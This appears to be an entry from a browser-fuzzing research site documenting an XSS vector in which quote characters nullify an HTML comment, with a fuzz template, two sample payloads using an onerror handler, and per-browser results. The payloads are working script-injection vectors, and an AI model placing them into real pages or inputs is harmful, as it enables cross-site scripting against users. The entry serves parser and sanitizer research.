Characters that act as attribute quotes copy
2
2
2
2This vector shows which characters act like quotes by nullifying a HTML comment.
Created byfreddyb
Created May 31, 2024
Updated May 27, 2025
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->Sample payloads
<div a="><!-- "></div><img src=x:x onerror=alert(34) --><div a='><!-- '></div><img src=x:x onerror=alert(39) -->Fuzz results
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated
Sun Jan 25 2026
Found 2 results
Loading...
Chrome 127.0.0.0 desktop macOS 10.15.7older version
Updated
Fri May 31 2024
Found 2 results
Loading...
Firefox 147.0 desktop Linux
Updated
Sun Feb 01 2026
Found 2 results
Loading...
Firefox 128.0 desktop macOS 10.15older version
Updated
Fri May 31 2024
Found 2 results
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Sat Jan 31 2026
Found 2 results
Loading...
Safari 17.4 desktop macOS 10.15.7
Updated
Fri May 31 2024
Found 2 results
Loading...